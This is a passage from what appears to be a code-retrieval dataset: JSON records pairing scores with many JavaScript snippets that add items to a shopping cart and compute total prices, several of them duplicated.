inputElement = document.getElementById('quantity');\n var inputValue = parseInt(inputElement.value);\n if (isNaN(inputValue)){\n return;\n }\n // TODO: using those, create a new Cart item instance\n for (i of Cart.allItems){\n if (selectValue === i.item.name){\n i.quantity += inputValue;\n return;\n }\n }\n new Cart(selectedItem, inputValue);\n}", "title": "" }, { "docid": "f99716ed99749dea9696703fb77a0aa7", "score": "0.6291168", "text": "function total(){\n\tlet total = 0\n\tfor (let i = 0; i < cart.length; i += 1){\n\ttotal += cart[i].price * cart[i].qty\n\tcartTotal.innerHTML = `total price: $${total.toFixed(2)}`\n\t}\n}", "title": "" }, { "docid": "37b78c62a060661ac9780aca174988f3", "score": "0.628757", "text": "calculateCartPrice() {\n\t\t// Initialize to 0\n\t\tthis.cartPrice = 0;\n\t\tif(this.cartItems.length > 0) {\n\t\t\tfor(var item of this.cartItems) {\n\t\t\t\titem.calculateCartItemPrice();\n\t\t\t\tthis.cartPrice += parseInt(item.cartItemPrice);\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "4204d1a54e427e633dab721286e9fc5f", "score": "0.6280956", "text": "function addToCart(product) {\r\n total = total + 1;\r\n if (cart.some(function (p) { return p.name === product.getName(); })) {\r\n cart.forEach(function (p) {\r\n if (p.name === product.getName()) {\r\n p.quantity += 1;\r\n //console.log(p)\r\n }\r\n });\r\n }\r\n else {\r\n cart.push(product);\r\n }\r\n //console.log(cart.length)\r\n //console.log(cart[2])\r\n var targetElement = document.getElementById('totalAmount');\r\n targetElement.innerHTML = totalAmount(product);\r\n var targetElements = document.getElementById('totalAmountFinal');\r\n targetElements.innerHTML = totalAmountFinal(product);\r\n var targetItems = document.getElementById('allItems');\r\n targetItems.innerHTML = allItems(product);\r\n}", "title": "" }, { "docid": "b6362639537fadbf04bafd2c63a56f2b", "score": "0.62574434", "text": "totalPrice(cart){\n let allItems = 0;\n let totalPrice = 0;\n cart.map(product => {\n allItems += product.amount;\n totalPrice += product.amount * product.price;\n })\n totalItems.innerText = allItems;\n cartTotal.innerText = totalPrice; \n }", "title": "" }, { "docid": "3f923bef28677f7131042da275fb675c", "score": "0.618915", "text": "function addTotalPrice() {\n let totalPrice = 0;\n addedProductsToCart.forEach((product) => {\n totalPrice += product.dataset.price * product.dataset.quantity;\n });\n totalCostLabel.textContent = totalPrice.toFixed(2);\n}", "title": "" }, { "docid": "13a2ba86ea24ac566eac5b4996f58c1c", "score": "0.6187044", "text": "function getTotalPrice(chosenProducts) {\n\ttotalPrice = 0;\n\tfor (let i=0; i<chosenProducts.length; i+=1) {\n\t\ttotalPrice += chosenProducts[i].price;\n\t}\n\treturn totalPrice;\n}", "title": "" }, { "docid": "54b67258e857f6ff44ead60ae6db3567", "score": "0.6129931", "text": "function addToList() {\r\n var selected = getSelected();\r\n var pos = cart.indexOf(selected);\r\n if(pos >= 0)\r\n \tcartQty[pos]++;\r\n else{\r\n\tcart.push(selected);\r\n\tcartQty.push(1);\r\n }\r\n \r\n document.getElementById(\"output\").innerHTML = getCartText();\r\n}", "title": "" }, { "docid": "73c600f59469d4346d3510b65622d3bd", "score": "0.6122812", "text": "function getTotalPrice(chosenProducts) {\n\ttotalPrice = 0;\n\tfor (let i = 0; i < products.length; i += 1) {\n\t\tif (chosenProducts.indexOf(products[i].name) > -1) {\n\t\t\ttotalPrice += products[i].price;\n\t\t}\n\t}\n\treturn totalPrice;\n}", "title": "" }, { "docid": "4222d37e3df00a5f7adf76d5d0f555c4", "score": "0.6119716", "text": "function getTotalPrice(chosenProducts) {\n\ttotalPrice = 0;\n\tfor (let i=0; i<products.length; i+=1) {\n\t\tif (chosenProducts.indexOf(products[i].name) > -1){\n\t\t\ttotalPrice += products[i].price;\n\t\t}\n\t}\n\treturn totalPrice;\n}", "title": "" }, { "docid": "4222d37e3df00a5f7adf76d5d0f555c4", "score": "0.6119716", "text": "function getTotalPrice(chosenProducts) {\n\ttotalPrice = 0;\n\tfor (let i=0; i<products.length; i+=1) {\n\t\tif (chosenProducts.indexOf(products[i].name) > -1){\n\t\t\ttotalPrice += products[i].price;\n\t\t}\n\t}\n\treturn totalPrice;\n}", "title": "" }, { "docid": "4222d37e3df00a5f7adf76d5d0f555c4", "score": "0.6119716", "text": "function getTotalPrice(chosenProducts) {\n\ttotalPrice = 0;\n\tfor (let i=0; i<products.length; i+=1) {\n\t\tif (chosenProducts.indexOf(products[i].name) > -1){\n\t\t\ttotalPrice += products[i].price;\n\t\t}\n\t}\n\treturn totalPrice;\n}", "title": "" }, { "docid": "4222d37e3df00a5f7adf76d5d0f555c4", "score": "0.6119716", "text": "function getTotalPrice(chosenProducts) {\n\ttotalPrice = 0;\n\tfor (let i=0; i<products.length; i+=1) {\n\t\tif (chosenProducts.indexOf(products[i].name) > -1){\n\t\t\ttotalPrice += products[i].price;\n\t\t}\n\t}\n\treturn totalPrice;\n}", "title": "" }, { "docid": "4222d37e3df00a5f7adf76d5d0f555c4", "score": "0.6119716", "text": "function getTotalPrice(chosenProducts) {\n\ttotalPrice = 0;\n\tfor (let i=0; i<products.length; i+=1) {\n\t\tif (chosenProducts.indexOf(products[i].name) > -1){\n\t\t\ttotalPrice += products[i].price;\n\t\t}\n\t}\n\treturn totalPrice;\n}", "title": "" }, { "docid": "4222d37e3df00a5f7adf76d5d0f555c4", "score": "0.6119716", "text": "function getTotalPrice(chosenProducts) {\n\ttotalPrice = 0;\n\tfor (let i=0; i<products.length; i+=1) {\n\t\tif (chosenProducts.indexOf(products[i].name) > -1){\n\t\t\ttotalPrice += products[i].price;\n\t\t}\n\t}\n\treturn totalPrice;\n}", "title": "" }, { "docid": "4222d37e3df00a5f7adf76d5d0f555c4", "score": "0.6119716", "text": "function getTotalPrice(chosenProducts) {\n\ttotalPrice = 0;\n\tfor (let i=0; i<products.length; i+=1) {\n\t\tif (chosenProducts.indexOf(products[i].name) > -1){\n\t\t\ttotalPrice += products[i].price;\n\t\t}\n\t}\n\treturn totalPrice;\n}", "title": "" }, { "docid": "4222d37e3df00a5f7adf76d5d0f555c4", "score": "0.6119716", "text": "function getTotalPrice(chosenProducts) {\n\ttotalPrice = 0;\n\tfor (let i=0; i<products.length; i+=1) {\n\t\tif (chosenProducts.indexOf(products[i].name) > -1){\n\t\t\ttotalPrice += products[i].price;\n\t\t}\n\t}\n\treturn totalPrice;\n}", "title": "" }, { "docid": "4222d37e3df00a5f7adf76d5d0f555c4", "score": "0.6119716", "text": "function getTotalPrice(chosenProducts) {\n\ttotalPrice = 0;\n\tfor (let i=0; i<products.length; i+=1) {\n\t\tif (chosenProducts.indexOf(products[i].name) > -1){\n\t\t\ttotalPrice += products[i].price;\n\t\t}\n\t}\n\treturn totalPrice;\n}", "title": "" }, { "docid": "021c26695bdaa33daac908be4d4845b9", "score": "0.61107975", "text": "setCartValues(cart) {\n let tempTotal = 0,\n itemTotal = 0;\n cart.map(item => {\n tempTotal += item.price * item.amount;\n itemTotal += item.amount;\n });\n cartTotal.innerText = `$${parseFloat(tempTotal.toFixed(2))}`;\n cartItems.innerText = itemTotal;\n }", "title": "" }, { "docid": "4e895548415239849a0df6e63866a5fd", "score": "0.61078286", "text": "function sumarPreciosProductosSeleccionados(){\n var precioProducto = $('.precioFinalProducto');\n var arraySumaProducto = [];\n var sumaTotalPrecio = 0;\n \n //Crea un array con la suma del precio (por cantidad) de un sólo producto\n for(var i=0; i<precioProducto.length; i++){\n arraySumaProducto.push(Number($(precioProducto[i]).val()));\n } \n \n for(var i=0; i<arraySumaProducto.length; i++){\n sumaTotalPrecio += arraySumaProducto[i];\n }\n \n $('#totalPrecioProducto').val(sumaTotalPrecio.toFixed(2));\n}", "title": "" }, { "docid": "79f00781a197c406e4990e6f6a64ad3e", "score": "0.61048627", "text": "function selectedItems(){\n\n var ele = document.getElementsByName(\"product\");\n var chosenProducts = [];\n\n var c = document.getElementById('displayCart');\n c.innerHTML = \"\";\n\n // build list of selected item\n var para = document.createElement(\"P\");\n para.innerHTML = \"You selected : \";\n para.appendChild(document.createElement(\"br\"));\n for (i = 0; i < ele.length; i++) {\n if (ele[i].checked) {\n para.appendChild(document.createTextNode(ele[i].value));\n para.appendChild(document.createElement(\"br\"));\n chosenProducts.push(ele[i].value);\n }\n }\n\n // add paragraph and total price\n c.appendChild(para);\n c.appendChild(document.createTextNode(\"Total Price is $\" + getTotalPrice(chosenProducts)));\n\n}", "title": "" }, { "docid": "9c2030d8f76e8a07f60df26bb2076c89", "score": "0.6080755", "text": "function selectedItems(){\r\n\t\r\n\tvar ele = document.getElementsByName(\"product\");\r\n\tvar chosenProducts = [];\r\n\t\r\n\tvar c = document.getElementById('displayCart');\r\n\tc.innerHTML = \"\";\r\n\t\r\n\t// build list of selected item\r\n\tvar para = document.createElement(\"P\");\r\n\tpara.innerHTML = \"You selected : \";\r\n\tpara.appendChild(document.createElement(\"br\"));\r\n\tfor (i = 0; i < ele.length; i++) { \r\n\t\tif (ele[i].checked) {\r\n\t\t\tpara.appendChild(document.createTextNode(ele[i].value));\r\n\t\t\tpara.appendChild(document.createElement(\"br\"));\r\n\t\t\tchosenProducts.push(ele[i].value);\r\n\t\t}\r\n\t}\r\n\t\t\r\n\t// add paragraph and total price\r\n\tc.appendChild(para);\r\n\tc.appendChild(document.createTextNode(\"Total Price is \" + getTotalPrice(chosenProducts)));\r\n\t\t\r\n}", "title": "" }, { "docid": "5266fff8f0d8af68ae9957923b31d8de", "score": "0.60774374", "text": "function getTotalPrice(chosenProducts) {\n\ttotalPrice = 0;\n\tfor (let i=0; i<products.length; i+=1) {\n\t\tif (chosenProducts.indexOf(products[i].name) > -1){\n\t\t\ttotalPrice += products[i].price;\n\t\t}\n\t\t// totalPrice = totalPrice + parseFloat(chosenProducts[i].substring(chosenProducts[i].indexOf(\"$\")+1))\n\t}\n\treturn totalPrice;\n}", "title": "" }, { "docid": "c69cebce00f9aace136af50dcaaf29a1", "score": "0.60754746", "text": "function selectedItems(){\n\t\n\tvar ele = document.getElementsByName(\"product\");\n\tvar chosenProducts = [];\n\t\n\tvar c = document.getElementById('displayCart');\n\tc.innerHTML = \"\";\n\t\n\t// build list of selected item\n\tvar para = document.createElement(\"P\");\n\tpara.innerHTML = \"You selected : \";\n\tpara.appendChild(document.createElement(\"br\"));\n\tfor (i = 0; i < ele.length; i++) { \n\t\tif (ele[i].checked) {\n\t\t\tpara.appendChild(document.createTextNode(ele[i].value));\n\t\t\tpara.appendChild(document.createElement(\"br\"));\n\t\t\tchosenProducts.push(ele[i].value);\n\t\t}\n\t}\n\t\t\n\t// add paragraph and total price\n\tc.appendChild(para);\n\tc.appendChild(document.createTextNode(\"Total Price is $ \" + getTotalPrice(chosenProducts)));\n\t\t\n}", "title": "" }, { "docid": "63c95b06caba989c74fc47d8ade92c90", "score": "0.606433", "text": "function selectedItems(){\n\n\tvar ele = document.getElementsByName(\"product\");\n\tvar chosenProducts = [];\n\n\tvar c = document.getElementById('displayCart');\n\tc.innerHTML = \"\";\n\n\t// build list of selected item\n\tvar para = document.createElement(\"P\");\n\tpara.innerHTML = \"You selected : \";\n\tpara.appendChild(document.createElement(\"br\"));\n\tfor (i = 0; i < ele.length; i++) {\n\t\tif (ele[i].checked) {\n\t\t\tpara.appendChild(document.createTextNode(ele[i].value));\n\t\t\tpara.appendChild(document.createElement(\"br\"));\n\t\t\tchosenProducts.push(ele[i].value);\n\t\t}\n\t}\n var numOfItems = document.getElementById(\"numOfItems\");\n numOfItems.innerHTML = chosenProducts.length;\n\n\t// add paragraph and total price\n\tc.appendChild(para);\n\tc.appendChild(document.createTextNode(\"Total Price is $\" + getTotalPrice(chosenProducts)));\n\n}", "title": "" }, { "docid": "52ac363264421cf69b56717d67ce9d5e", "score": "0.60559356", "text": "function calculateTotal(yourCart)\r\n{\r\n var sum=0\r\n for(var i=0;i<yourCart.itemsInCart.length;i++)\r\n {\r\n sum += yourCart.itemsInCart[i].price * yourCart.itemsInCart[i].quantity\r\n } \r\n yourCart.priceSum = sum\r\n}", "title": "" }, { "docid": "5140c1d0207eae347606fa38b68bd281", "score": "0.605346", "text": "function getTotalPrice(chosenProducts) {\n\ttotalPrice = 0;\n\tfor (let i=0; i<products.length; i+=1) {\n\t\tif (chosenProducts.indexOf(products[i].name) > -1){\n\t\t\ttotalPrice += products[i].price;\n\t\t}\n\t}\n\treturn totalPrice.toFixed(2);\n}", "title": "" }, { "docid": "249fc54d23912a1bdee80541a8c510b5", "score": "0.6052676", "text": "function calculateTotalPriceEachProduct(input) {\n var quantity = parseFloat(input.val());\n var cart_item = input.closest('.cart-item');\n var price = parseFloat(cart_item.find('.item-price').data('price'));\n var tax = cart_item.data('product-tax');\n var type = cart_item.data('product-type');\n var tax_product = 0;\n if (tax == \"default\") {\n tax_product = price * 10 / 100;\n }\n if (type == \"import\") {\n tax_product += price * 5 / 100;\n }\n var tax_price = ((Math.ceil(tax_product * 20) / 20) * quantity).toFixed(2);\n var total_price = ((price + (Math.ceil(tax_product * 20) / 20)) * quantity).toFixed(2);\n cart_item.find('.tax-price').html(tax_price);\n cart_item.find('.total-price').html(total_price);\n }", "title": "" }, { "docid": "1a0ed82958f5f24688dd53b817ee5381", "score": "0.60491335", "text": "calculateTotalPrice() {\r\n //To calculate total price its important to calculate individual subTotal price\r\n this.calculateItemSubTotal();\r\n\r\n var total = 0;\r\n // if shopping bag has cart items\r\n if(this.Cart.cart){\r\n // loop througheach cart item\r\n this.Cart.cart.forEach( item => {\r\n // add subtotal price of each item to the total price\r\n total += parseFloat(item.ISBN.SubTotal);\r\n }); \r\n }\r\n // set total price\r\n this.TotalPrice = total;\r\n }", "title": "" }, { "docid": "534bdab72c31c8b7535c8a991454ae37", "score": "0.6046077", "text": "function getTotalPrice(chosenProducts) {\r\n\ttotalPrice = 0;\r\n\tfor (let i=0; i<products.length; i+=1) {\r\n\t\tif (chosenProducts.indexOf(products[i].name) > -1){\r\n\t\t\ttotalPrice += products[i].price;\r\n\t\t}\r\n\t}\r\n\treturn totalPrice;\r\n}", "title": "" }, { "docid": "7ecf796ada366492d0e763aee524b016", "score": "0.6043366", "text": "function quickUpdateCart() {\n\t\tvar quantity = 0;\n\t\tvar price = 0;\n\n\t\tcartList.children('li:not(.deleted)').each(function(){\n\t\t\tvar singleQuantity = Number($(this).find('select').val());\n\t\t\tquantity = quantity + singleQuantity;\n\t\t\tprice = price + singleQuantity*Number($(this).find('.price').text().replace('$', ''));\n\t\t});\n\n\t\tcartTotal.text(price.toFixed(2));\n\t\tcartCount.find('li').eq(0).text(quantity);\n\t\tcartCount.find('li').eq(1).text(quantity+1);\n\t}", "title": "" }, { "docid": "383d88cfb145873afadadec6197a5044", "score": "0.60413307", "text": "function getTotalPrice(chosenProducts) {\r\n\ttotalPrice = 0;\r\n\tfor (let i=0; i<products.length; i+=1) {\r\n\t\tif (chosenProducts.indexOf(products[i].price+\" \"+products[i].name) > -1){\r\n\t\t\ttotalPrice += products[i].price;\r\n\t\t}\r\n\t}\r\n\treturn totalPrice;\r\n}", "title": "" }, { "docid": "4e2602f8022022840d478ad3c1f913bf", "score": "0.603893", "text": "function updateCartTotal() {\n let cartItemRows = document.getElementById('cart-items-list').getElementsByClassName('cartItem');\n let total = 0;\n let totalPerItem = 0;\n for (let i = 0; i < cartItemRows.length; i++) {\n cartItemRow = cartItemRows[i];\n let itemPrice = cartItemRow.getElementsByClassName('price-per-item')[0].value;\n let itemAmount = cartItemRow.getElementsByClassName('numberChosen')[0].value;\n totalPerItem = itemPrice * itemAmount;\n total = total + (itemPrice * itemAmount);\n document.getElementsByClassName('total-price-per-item')[i].innerText = '$' + totalPerItem;\n }\n document.getElementById('total-payment').innerText = '$' + total;\n}", "title": "" }, { "docid": "1daf0b89efb12a4c11ab7bd198ea1465", "score": "0.6025529", "text": "function cartPush(item, price){\n //see if item is already in cart\n var i = cart.indexOf(item)\n //if not, push item and price into \"cart\" and \"itemPrice\" array, respectively\n if(i == -1){\n cart.push(item);\n console.log(cart.length + \" items total. Added \" + item);\n \n itemPrice.push(price);\n console.log(\"$\" + price + \" added to total price\");\n } else {\n //if it is, splice item and price from \"cart\" and \"itemPrice\" array, respectively\n cart.splice(i, 1);\n console.log(cart.length + \" items total. Subtracted \" + item);\n \n itemPrice.splice(i, 1);\n console.log(\"$\" + price + \" subtracted from total price\")\n }\n \n // variable of sum to calculate total price of items in \"itemPrice\" array\n var sum = itemPrice.reduce(add, 0);\n\n function add(a, b){\n return a + b;\n }\n \n console.log(\"Your total price in cart is $\" + sum);\n \n // Add total number of products in cart next to cart icon\n if(cart.length != 0) {\n document.querySelector(\"#cartcount\").innerHTML = (\" (\" + cart.length + \")\")\n }\n // Make the cart number disappear if there's nothing inside\n else {\n document.querySelector(\"#cartcount\").innerHTML = \"\"\n }\n\n}", "title": "" }, { "docid": "7c5632eadee8b91b6fb2242729e7bcaa", "score": "0.60214144", "text": "function getTotalPrice(chosenProducts) {\r\n\ttotalPrice = 0;\r\n\tfor (let i=0; i<products.length; i+=1) {\r\n\t\tif (chosenProducts.indexOf(products[i].name) > -1){\r\n\t\t\ttotalPrice += products[i].price;\r\n\t\t}\r\n\t}\r\n\treturn Number(totalPrice).toFixed(2);\r\n}", "title": "" }, { "docid": "524cede0c2a84c19f78a60ea07cf79ef", "score": "0.5992632", "text": "function updateCartTotals() {\n //calculate total of cart contents\n var cartContentsLength = vm.cartContents.length;\n var total = 0;\n for (var i = 0; i < cartContentsLength; i++) {\n total += vm.cartContents[i].quantity * vm.cartContents[i].price;\n }\n //calculate transportFee\n vm.transportFee = transportFeeFilter(total);\n //add transportFee to total\n vm.total = total + vm.transportFee;\n }", "title": "" }, { "docid": "5a7be10d4c29c528e9e5c91589386e6c", "score": "0.59684455", "text": "function addToCart() {\n const parentBox = this.parentNode,\n itemPrice = parentBox.querySelector(\".item__price\").innerHTML;\n let price = +itemPrice.replace(/грн./g, \"\");\n cart.push(price);\n\n let total = cart.reduce(function (a, b) {\n return a + b;\n }, 0);\n\n document.querySelector(\".top-cart-info__item span:first-child\").innerHTML =\n cart.length;\n document.querySelector(\n \".top-cart-info__item span:last-child\"\n ).innerHTML = total;\n}", "title": "" }, { "docid": "31b6ed98ab97483fa2e2975e0ec4556e", "score": "0.5963727", "text": "function updateTotalAmount() {\n totalAmount = 0;\n for (let i = 0; i < cart.length; i++) {\n totalAmount += cart[i].qty * cart[i].price;\n }\n dispayTheCartItems();\n $(\"#totalAmount\").html(totalAmount);\n setLocalStorage(cart);\n}", "title": "" }, { "docid": "61d729f49b4f24d2551935e1cbc39549", "score": "0.5963468", "text": "function UpdateTotals() {\n\tlet cartTotal = 0;\n\n\t/* Iterate through cartItems. Calculate itemcost times \n\t quantity selected then add it to cartTotal */\n\tfor (var i = 0; i < cartItems.length; i++) {\n\t\tlet itemCost = Number(cartItems[i].getAttribute(\"data-itemcost\"));\n\t\tlet itemQuantity = Number(cartItems[i].childNodes[3].value);\n\n\t\tlet itemTotal = itemCost * itemQuantity;\n\t\tcartTotal += itemTotal;\n\t}\n\n\t/* Update total */\n\tdocument.getElementById(\"total\").childNodes[0].nodeValue = `$ ${cartTotal.toFixed(2)}`;\n}", "title": "" }, { "docid": "996b49a70b34ed5757b05b2434cd2d20", "score": "0.59377646", "text": "function totalPrice() {\n return itemsInCart.reduce((acc, item) => acc + (item.price || 0), 0);\n }", "title": "" }, { "docid": "d75ac1172a572b64ad68e44f2899d2f9", "score": "0.5934392", "text": "function calcSumPrice() {\n let sum = 0;\n let total = 0;\n for (i = 0; i < cart.length; i++) {\n sum += cart[i]['price'] * cart[i]['amount'];\n } document.getElementById('sum').innerHTML = `${sum.toFixed(2).replace(\".\", \",\")} €`;\n\n for (let i = 0; i < cart.length; i++) {\n total = sum + 3.00;\n } document.getElementById('total').innerHTML = `${total.toFixed(2).replace(\".\", \",\")} €`;\n\n updateBasket();\n}", "title": "" }, { "docid": "08f3ac0b0598d829f6d3666646756cf2", "score": "0.59337205", "text": "function addItemToCart() {\n\tuserCart.addItems(currentSelection.productId, currentSelection.selectionQty);\n}", "title": "" }, { "docid": "d6810062fc8c777fedd7c896d2c7334a", "score": "0.5932392", "text": "function updateTotalCart() {\n const cartSection = document.querySelector(\".cart-section\");\n const cartRow = document.querySelectorAll(\".cart-row\");\n const InRow = [];\n cartRow.forEach((row) => {\n const priceInRow = row.querySelector(\".price\");\n const quantityInRow = row.querySelector(\".quantity-value\");\n if (priceInRow !== null && quantityInRow !== null) {\n InRow.push({\n price: priceInRow.textContent,\n quantity: quantityInRow.value,\n });\n }\n });\n\n const total = InRow.reduce((currentTotal, row) => {\n return parseFloat(row.price) * parseInt(row.quantity) + currentTotal;\n }, 0);\n\n cartSection.querySelector(\".total\").textContent = total;\n}", "title": "" }, { "docid": "ac780cb1f68575b81518ef0b476bdcfc", "score": "0.59257853", "text": "function totalPrice(){\n\tvar totalPrice = 0;\n\tfor (var i in cart){\n\t\ttotalPrice += cart[i].price;\n\t}\n\treturn totalPrice;\n}", "title": "" }, { "docid": "5a88f49c3a5052466345c412736eebf6", "score": "0.5925035", "text": "function addProductToCart(product, quantity) {\n let selectedItems = shoppingCart.filter((item) => item.item == product);\n let NumIdArray = shoppingCart.map((item) => item.id.slice(1, 3));\n let highestNumId = parseInt(NumIdArray[NumIdArray.length - 1]);\n if (selectedItems[0] == undefined) {\n shoppingCart.push({\n id: `A${highestNumId + 1}`,\n item: product,\n price: 0,\n quantity: quantity,\n });\n console.log(\"working\");\n } else {\n selectedItems.forEach((item) => {\n let selectedItemId = item.id;\n shoppingCart.forEach((item) => {\n if (item.id == selectedItemId) {\n item.quantity += quantity;\n }\n });\n });\n }\n return shoppingCart;\n}", "title": "" }, { "docid": "3758a42f214d76a961f178b5d9b1d0e7", "score": "0.5922308", "text": "total() {\n // Go through each item in the cart and reduce the prices of every item to reflect a total price.\n return this.props.items.reduce((total, item) => {\n return total + item.price\n }, 0)\n }", "title": "" }, { "docid": "209e826e3268715facf26176c6ed5083", "score": "0.59155077", "text": "function selectedItems(){\n\t\n\topenInfo('Cart');\n\tcloseInfo('Products');\n\t\n\tvar ele = document.getElementsByName(\"product\");\n\tvar chosenProducts = [];\n\t\n\tvar c = document.getElementById('displayCart');\n\tc.innerHTML = \"\";\n\t\n\t// build list of selected item\n\tvar para = document.createElement(\"P\");\n\tpara.innerHTML = \"You selected : \";\n\tpara.appendChild(document.createElement(\"br\"));\n\tfor (i = 0; i < ele.length; i++) { \n\t\tif (ele[i].checked) {\n\t\t\tpara.appendChild(document.createTextNode(ele[i].value));\n\t\t\tpara.appendChild(document.createElement(\"br\"));\n\t\t\tchosenProducts.push(ele[i].value.replace(/[^0-9.]/g, ''));\n\t\t}\n\t}\n\t\t\n\t// add paragraph and total price\n\tc.appendChild(para);\n\tc.appendChild(document.createTextNode(\"The Total Price is \" + getTotalPrice(chosenProducts) + \"$\"));\n\t\t\n}", "title": "" }, { "docid": "3561d3d6785191c82d5acfb7d8730166", "score": "0.5910761", "text": "function calculateTotalPriceAllProduct() {\n var all_item = $(document).find('.cart-item');\n var tax_all = 0;\n var total_price = 0;\n $.each(all_item, function(index, item) {\n var quantity = parseFloat($(item).find('input.quantity').val());\n var price = parseFloat($(item).find('.item-price').data('price'));\n var tax = $(item).data('product-tax');\n var type = $(item).data('product-type');\n var tax_product = 0;\n if (tax == \"default\") {\n tax_product = price * 10 / 100;\n }\n if (type == \"import\") {\n tax_product += price * 5 / 100;\n }\n tax_all += Math.ceil(tax_product * quantity * 20) / 20.0;\n total_price += price * quantity;\n });\n $('.total-price-cart-item .tax-all').html(tax_all.toFixed(2));\n $('.total-price-cart-item .total-price-all').html((total_price + tax_all).toFixed(2));\n }", "title": "" }, { "docid": "03d1d2c895cfe5d10174803a4cf74d2c", "score": "0.5905486", "text": "function getTotalPrice(chosenProducts) {\r\n\ttotalPrice = 0;\r\n\tfor (let i=0; i<chosenProducts.length; i+=2) {\r\n\t\tfor(j = 0; j < products.length; j++){\r\n\t\t\tif(chosenProducts[i] == products[j].name){\r\n\t\t\t\ttotalPrice = totalPrice + products[j].price*chosenProducts[i+1];\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn totalPrice;\r\n}", "title": "" }, { "docid": "d72439b549f4ae51c81b465e36c2e559", "score": "0.589887", "text": "function total() {\n for (i = 0; i < inCart.length; i++) {\n promo1();\n promo2();\n totalPrice += inCart[i].price * inCart[i].num;\n return totalPrice;\n }\n}", "title": "" }, { "docid": "0ba4c2d430874bb68953fa85f6ce44ed", "score": "0.5896289", "text": "function calcTotal() {\n\t\t$(productPriceArray).each(function (i) {\n\t\t\tvar price = Number(productPriceArray[i]);\n\t\t\tvar quantity = Number(productQuantityArray[i]);\n\t\t\ttotal += (price * quantity);\n\t\t\tdocument.getElementById(\"total\").innerHTML = \"Total: \" + \"$\" + total.toFixed(2);\n\t\t});\n \n\t}", "title": "" }, { "docid": "7653127c99b9a5a4bbe74a3687016494", "score": "0.58932805", "text": "addPizzaToCart({ commit, state }, pizzaObj) {\n try {\n // an exported function that converts the pizza object to the desired form to work with the mutation in the store\n const payLoad = getCartData(state, pizzaObj);\n\n commit(\"ADD_PIZZA_CART\", payLoad.getAllPayLoad);\n } catch (err) {\n commit(\"ADD_PIZZA_CART_ERROR\", err);\n }\n }", "title": "" }, { "docid": "08564d20a1a34127cfa1d3cb40fdce35", "score": "0.58911246", "text": "function updateCartTotal() {\r\n let cartItemContainer = document.querySelector(\".cart-items\");\r\n let cartRows = cartItemContainer.querySelectorAll(\".cart-row\");\r\n let total = 0;\r\n cartRows.forEach(row => {\r\n let priceElement = row.querySelector(\".cart-price\");\r\n let quantityElement = row.querySelector(\".cart-quantity-input\");\r\n let price = parseFloat(priceElement.textContent.slice(1));\r\n let quantity = parseInt(quantityElement.value);\r\n total = total + price * quantity;\r\n // console.log(price, typeof quantity, total);\r\n });\r\n total = Math.round(total * 100) / 100;\r\n document.querySelector(\".cart-total-price\").textContent = `$${total}`;\r\n}", "title": "" }, { "docid": "94fde576239fd8aec394de9f3f70fb81", "score": "0.587928", "text": "get price (){\n\t\tlet totalPrice = 0;\n\n\t\ttotalPrice += pizzaConfig.price ( this.diameter ) ;\n\t\ttotalPrice += pizzaConfig.price ( this.width ) ;\n\t\ttotalPrice += pizzaConfig.price ( this.base ) ;\n\t\t\n\t\t//Добавляем цену ингредиентов\n\t\tfor( let ingredient of this.ingredients ){\n\t\t\ttotalPrice += pizzaConfig.price(ingredient.id) * ingredient.quantity;\n\t\t}\n\n\t\treturn totalPrice;\n\t}", "title": "" }, { "docid": "23717ed65edc0838c4e328cad702ef75", "score": "0.58776766", "text": "function addSelectedItemToCart() {\n\n var allProductsString = localStorage.getItem('savedProduct');\n\n if(allProductsString){\n \n var allProducts = JSON.parse(savedProductString);\n \n for(var j = 0; j < aallProductsObject.length; j++){\n \n new Product(allProductsObject[j].name,\n allProductsObject[j].imageUrl);\n }\n }\n \n cart.saveToLocalStorage();\n updateCounter();\n updateCartPreview();\n\n\n// TODO: Add the selected item and quantity to the cart\n/* function addSelectedItemToCart(); {\n for (var k = 0; k < allProducts.length; k++){\n if ()\n } */\n\n // TODO: suss out the item picked from the select list\n\n // TODO: get the quantity\n // TODO: using those, add one item to the Cart\n}", "title": "" }, { "docid": "3f43a23346d73e44c65da3aa617d849d", "score": "0.5852293", "text": "function getTotalPrice(chosenProducts) {\n\ttotalPrice = 0;\n\tfor (let i=0; i<products.length; i+=1) {\n\t\tfor (let j=0; j<chosenProducts.length; j+=1) {\n\t\t\tif (chosenProducts[j].indexOf(products[i].name) > -1){\n\t\t\t\ttotalPrice += getPrice(products[i].name);\n\t\t\t}\n\t\t}\n\t}\n\treturn totalPrice;\n}", "title": "" }, { "docid": "0831f6270b84b5fdd9eb879b2903f73f", "score": "0.5846302", "text": "function sumarTotalPrecios(){\n\n var precioItem = $(\".precioProducto\");\n var arraySumaPrecio = [];\n\n for (var i = 0; i < precioItem.length; i++) {\n \n arraySumaPrecio.push(Number($(precioItem[i]).val()));\n \n\n }\n\n function sumarArrayPrecios(total, numero){\n\n return total + numero;\n\n }\n\n var sumaTotalPrecio = arraySumaPrecio.reduce(sumarArrayPrecios); \n \n $(\"#totalVenta\").val(sumaTotalPrecio);\n\n $(\"#totalVentaFinal\").val(sumaTotalPrecio);\n\n $(\"#totalVenta\").attr(\"total\", sumaTotalPrecio);\n\n }", "title": "" }, { "docid": "7878a275f0a19c929b46d857a0a0f505", "score": "0.58355767", "text": "function getTotalPrice(chosenProducts) {\n\ttotalPrice = 0;\n\t\n\tfor (let i=0; i<products.length; i+=1) {\n\t\tfor(let j = 0;j<chosenProducts.length;j+=1)\n\t\t{\n\t\t\tif (chosenProducts[j].includes(products[i].name) ){\n\t\t\t\t\n\t\t\ttotalPrice += products[i].price;\n\t\t}\n\t\t\n\t\t}\n\t\t\n\t}\n\treturn totalPrice;\n}", "title": "" }, { "docid": "63c9f521c347d16a47d37466de37a69f", "score": "0.5826185", "text": "function selectedItems(){\n\t\n\tvar ele = document.getElementsByName(\"product\");\n\tvar chosenProducts = [];\n\tvar priceProducts = [];\n\t\n\tvar c = document.getElementById('displayCart');\n\tc.innerHTML = \"\";\n\t\n\t// build list of selected item\n\tvar para = document.createElement(\"P\");\n\tpara.innerHTML = \"You selected : \";\n\tpara.appendChild(document.createElement(\"br\"));\n\tfor (i = 0; i < ele.length; i++) { \n\t\tif (ele[i].checked) {\n\n\t\t\t//create image\n\t\t\tvar actualName = ele[i].value.substr(0, ele[i].value.length -6); \n\t\t\tvar url = getImageURL(products, actualName); \n\n\t\t\t//this javascript code is modified from https://www.w3schools.com/jsref/tryit.asp?filename=tryjsref_img_create\n\n\t\t\tvar x = 